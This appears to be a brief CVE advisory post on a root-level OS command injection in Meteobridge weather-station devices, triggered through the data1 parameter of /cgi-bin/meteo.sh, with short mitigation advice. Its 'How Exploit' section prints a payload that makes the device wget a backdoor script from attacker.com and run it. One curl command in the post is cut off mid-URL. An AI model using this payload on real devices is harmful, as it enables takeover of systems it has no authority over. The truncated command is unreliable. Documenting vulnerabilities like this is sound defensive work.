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How the mentioned CVE works
The vulnerability exists within the Meteobridge web interface, which is built using CGI scripts. A specific endpoint, /cgi-bin/meteo.sh, does not properly sanitize user-supplied input in the `data1` POST parameter. When a crafted HTTP POST request is sent to this endpoint, the unsanitized input from the `data1` parameter is passed directly to a system shell command. This allows a remote, unauthenticated attacker to inject arbitrary operating system commands by embedding them within the `data1` parameter. Since the Meteobridge service runs with root privileges, the injected commands are also executed with full system-level (root) access, granting the attacker complete control over the underlying device.
Platform: Meteobridge devices
Version: Prior to 2024-11-14
Vulnerability: OS Command Injection
Severity: Critical
date: 2024-11-14
Prediction: Patch available
What Undercode Say:
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`curl -X POST http://
`cat /cgi-bin/meteo.sh | grep data1`
`ps aux | grep meteobridge`
How Exploit:
`POST /cgi-bin/meteo.sh`
`data1=;wget http://attacker.com/backdoor.sh -O /tmp/bd.sh; sh /tmp/bd.sh`
Protection from this CVE
Update firmware immediately.
Network segmentation.
Input validation.
Impact:
Full system compromise.
Arbitrary command execution.
Root privilege access.
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Sources:
Reported By: www.cve.org
Extra Source Hub:
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